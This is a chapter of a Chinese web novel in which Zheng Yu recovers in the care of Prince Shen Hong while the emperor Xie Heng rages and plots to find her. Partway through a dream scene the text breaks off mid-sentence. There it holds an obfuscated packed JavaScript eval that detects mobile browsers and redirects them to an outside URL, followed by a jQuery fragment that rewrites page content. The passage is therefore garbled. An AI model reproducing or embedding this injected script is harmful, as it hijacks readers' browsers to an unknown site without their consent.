12. 问名(大修)

作品:《献祭前夫后她登基成女帝了

    “是,晦气,不提了。”


    春风徐徐掠过水面,惊起一阵微波,沈弘将一块樱桃酥递给她,道:“来,吃点东西,樱桃酥,你爱吃的。”


    “你怎么知道?”


    郑鱼疑惑的看着他,沈弘不闪不避,坦然自若在那里,不疾不徐说:“绿杳来跟我告好几次状了,说她的果脯都不够吃了。”


    “噗!”


    原是如此,她就说嘛,堂堂的彭城王,怎么会有些留意这些无关紧要的小事,何况她早就不那么爱吃甜食了。


    郑鱼过去很爱吃这些甜甜的糕。


    每次郑老爹打了渔吃不完就带她到集市去卖,把鱼卖了她就央求着他去东街头那家糕点铺子买吃的。


    那家铺子的糕点花样最多,口味也是五花八门的,每一个都十分对她胃口,就算碰到些味道不太好的,冲着那雕花的技艺,她也要拿来尝个鲜的。


    郑老爹待她好,几乎从未拒绝过她的请求,除非她吃出了牙病,那是再怎么样,他都不肯买了。


    回想起那段时光,郑鱼想,那大概是她这蜉蝣般的人生里,唯一的快乐。


    后来去了崔家,到了谢家……分明他们府上的糕点更多,五花八门的,可不知怎么的,郑鱼却吃得索然无味了。


    她好像是突然就不太爱吃这种东西了。


    不过真没办法吃药的时候,还是会放一点甜蜜饯在边上,所以近些时日养伤吃药,她总会跟绿杳拿一些甜糕。


    这小丫头……郑鱼苦笑,有些许无奈,不过……她不会放弃吃药的时候拿糕的!


    绝对不会!


    ……


    “废物!”


    建元殿内,谢衡怒不可遏的将东西甩过去,青玉瓷杯结实的打在跪着的人身上,不过人依然背挺得直直的。


    倒是骨气!


    可一个太监,再骨气,也是没什么用的,只会让天子更加生气而已。


    谢衡不顾形象的蹿了一脚过去,骂道:“真是废物,连个人都找不到,真不知养你们这些人何用!”


    半个月过去了,整个昌都近乎翻了一个遍,可是人却好像凭空消失了一般,完全不见。


    “陛下消消火。”崔令宜抚着他起伏的胸口,扶他坐下,将一杯败火茶递给谢衡。


    “只要姐姐还在城内,总会能找到的。”


    谢衡不语。


    崔令宜示意下方跪着的人说话。


    陈敬重重的磕了一个头,道:“奴才已查到一些眉目,只是此事有关……彭城王殿下,奴才位卑言轻,实不敢做主!”


    “说!”


    谢衡“啪”的一下将茶盏放下命令。


    陈敬道:“刺杀那日,曾有人见过彭城王殿下和他的人出现在金明湖附近,且近日,殿下身边的女使曾频繁在药铺和成衣铺之间往来,听说买的都是一些女子的用品……”


    “沈弘!”


    谢衡咬牙,眸光犹如喷火,瞠目欲裂,他一拨手,桌子上的东西应声落地,碎裂成渣。


    “真是处处跟孤作对!”


    地上的人头近乎埋在地上,不敢出声,谢衡又是一脚蹿了过去。


    “知道在他那,那还愣着做什么!”


    陈敬道:“彭城王殿下现在的府宅是先祖皇帝亲赐的……且他手握重兵,若是贸然查府,势必会引来他的抵抗……”


    这话算是戳到了谢衡的肺管子,他更加生气了,再次踢过去。


    若是郑鱼看到现在的谢衡,一定不敢相信,他并非一个爱使用暴力的君主,可此刻好像真得了疯症一般,完全控制不住自己的脾气。


    “你是想说孤不如那姓沈的吗!”


    “奴才不敢!”


    “不敢,我看你倒是敢得很!”谢衡冷嗤,瞧着又要动手,崔令宜拦住,道:“若是确定姐姐在城内,嫔妾倒是有一计,可以叫她主动出来!”


    “说来听听!”


    ……


    此时的郑鱼还不知道宫中那群人又商议了什么,她处在失神当真,完全没反应过来,整个人呆呆的,嘴里的糕点还在口中咂摸着,碎屑染了一圈。


    沈弘痴痴的笑,手再次抚上来,擦拭掉嘴角的脏污,吐槽道:“总是这样,一吃东西就没个淑女样儿。”


    常年握着冷兵器的手带着厚厚的茧子,覆在上边,郑鱼清楚感觉到指腹摩擦过的痕迹,如同鸦羽掠过心弦,这跟在马车时候不一样,她一颗心扑通扑通狂跳,完全控制不住。


    这实在太过……了。


    郑鱼面上生热,慌忙转了身去,将沾在唇角的糖渣抹干净,任风肆意吹散脸上那点温度,才道:“时候不早了,殿下要不早些回去歇着吧?”


    沈弘面上闪过一丝怅然,道:“夫人似乎很是排斥跟我在一块?”


    啊?


    我没有啊?


    天大的冤枉啊!


    这简直是污蔑!


    还有他这称呼,其实她不喜欢他这么唤她,这总让她想起和谢衡那一段孽缘,那是一段非常不堪的记忆。


    她不愿想起的记忆。


    “殿下唤我名字便好。”郑鱼说。


    “哦,那我是该叫你崔令宜,还是郑淑女?”


    “你!”郑鱼愕然,这个名字她从未跟人提过,不过转念一想,以沈弘的身份,要查一个人的来历,也太容易了,这并非算得上事儿。


    既然他已经将话说到了这份上,郑鱼也不再隐瞒,道:“郑鱼并非有意瞒着殿下。”


    “孤明白。”沈弘说,“往日已成过去,从今而后,就用这个名字,堂堂正正重新开始生活罢。”


    “是!”


    ……


    或许是因为沈弘的话起了几分作用,这一夜,郑鱼是难得的好眠。


    她做了个梦,梦到回去少年时。


    “阿爹,我要吃那个,那个看着好吃。”


    “不行,你最近牙上生了虫,还没好呢,不能再吃了!”


    “我就吃一点点,一点点嘛阿爹,给我买吧。”她摇晃着郑老爹的手,站在糕点铺子前就是不动。


    梦里的郑鱼不像现在这般老成,会想很多,她的眼睛里只有那些个甜糕,郑老爹不给买,她就撒娇耍赖不走。


    不过她再怎么耍赖,郑老爹也不给她买,于是她好生气,跑了。


    “你给我买甜糕,我请你吃我做的酒,我做的酒老好喝了,十里八乡没人不夸的!”


    “什么?你不会喝酒?”


    “哈哈哈,你好笨呐,连喝酒都不会!”


    “家中有训,少不可酒,伤身。”


    “呸!什么狗屁规矩,我看呐,你不喝也没好


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14456956|154165||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到哪里去,你看看我……”


    她握紧拳头,撩起衣服,露出一截藕臂,骄傲道:“你看我天天喝,哪里伤身了,多的是力气,我能打死一头牛!”


    “什么,你不信,我给你表演一下!”


    “表演……”


    “表演!”


    她身子一激灵,顿了下,脑袋一重就失力往下落。


    “小心!”


    低沉磁性的嗓音穿破郑鱼的耳膜,她迷迷瞪瞪的睁开眼,就见沈弘一张脸赫然在她眼前,只是表情似乎有些……不太好看。


    她模糊想起来什么。


    昨夜两人谈得兴起,那酒是一杯接着一杯灌下肚子,再后边……


    有点喝断片儿,她记不清了!


    郑鱼尴尬,但故作轻松说:“哎呀彭城王殿下,脸别这么臭,好歹你我也算是……”


    她斟酌半日,勉强想到一个用词形容他们之间的关系。


    “酒友!”


    知己呀!


    她头一回碰到这么懂酒又能喝的,虽是清楚彭城王贪酒好画的名号,可昨夜才算头一遭领教,有种相见恨晚的感觉。


    沈弘对她这没规矩的话也不恼,温声道:“你压着孤手了。”


    “啊?”


    郑鱼这才惊觉过来,自己是睡在一双大手上边。


    哦,怪不得方才脸那么疼,耳朵也疼,还嗡嗡嗡的……


    她僵硬的逼着自己将脑袋从人的手上抽离,抚了一下有些乱了的鬓发,岔开话。


    “我想了想,殿下于我算两次救命之恩,日前我实不该如此,可如今我这孑然一身,也不知该作何报答,不如自己做两个小菜,再添一壶好酒,你我共饮,便算相逢一笑泯恩仇,往事不再提如何?”


    这不过是她为缓解气氛的胡言乱语,可沈弘却真的撑着下巴思忱起来,片刻,点点头:“甚好。”


    ……


    话都放出去了,也没法子,郑鱼只能真的做一桌。


    好在她伤好得差不多了,处理这点活,不成问题。


    热腾腾冒着诱人香气的饭菜端上来,郑鱼才想起一个至关重要的问题。


    “殿下应该不挑食吧?”


    每个人都有自己的饮食喜好,像她就随郑老爹,酷爱鱼脍,不喜吃羊肉,九安生长在幽州,便独爱肉食,那些羊肉鹿肉,凡是能吃的,她都爱,看到便两眼放着光。


    她做菜之时,是按照自己的喜好来的。


    做的都是以前在家乡时的一些家常小菜,她是秦县人,秦县偏川蜀,饮食也多和那边靠近,口味偏酸或者辣,昌都没有那些特色的调制品,有专门做这一类菜的酒楼,不过东西也是特别贵重,买不到,所以这不会太过辣口去,只是她还是隐约有些担忧。


    沈弘目光低垂,扫了一眼桌子上的菜,道:“孤要说挑,那郑淑女当如何?”


    她能如何,又敢如何?


    这不人在屋檐下吗?


    郑鱼扯着笑道:“那是妾思虑不周,怪不得殿下,妾会记住,若有下次,定当不会再犯。”


    沈弘笑道:“郑淑女倒是个识时务的人。”


    算不上,要是真识时务,也不会落得这样的下场,只是长了点记性,也明白自己的斤两罢。


    早食未尽,老刘头从外边来报,陈敬过来了。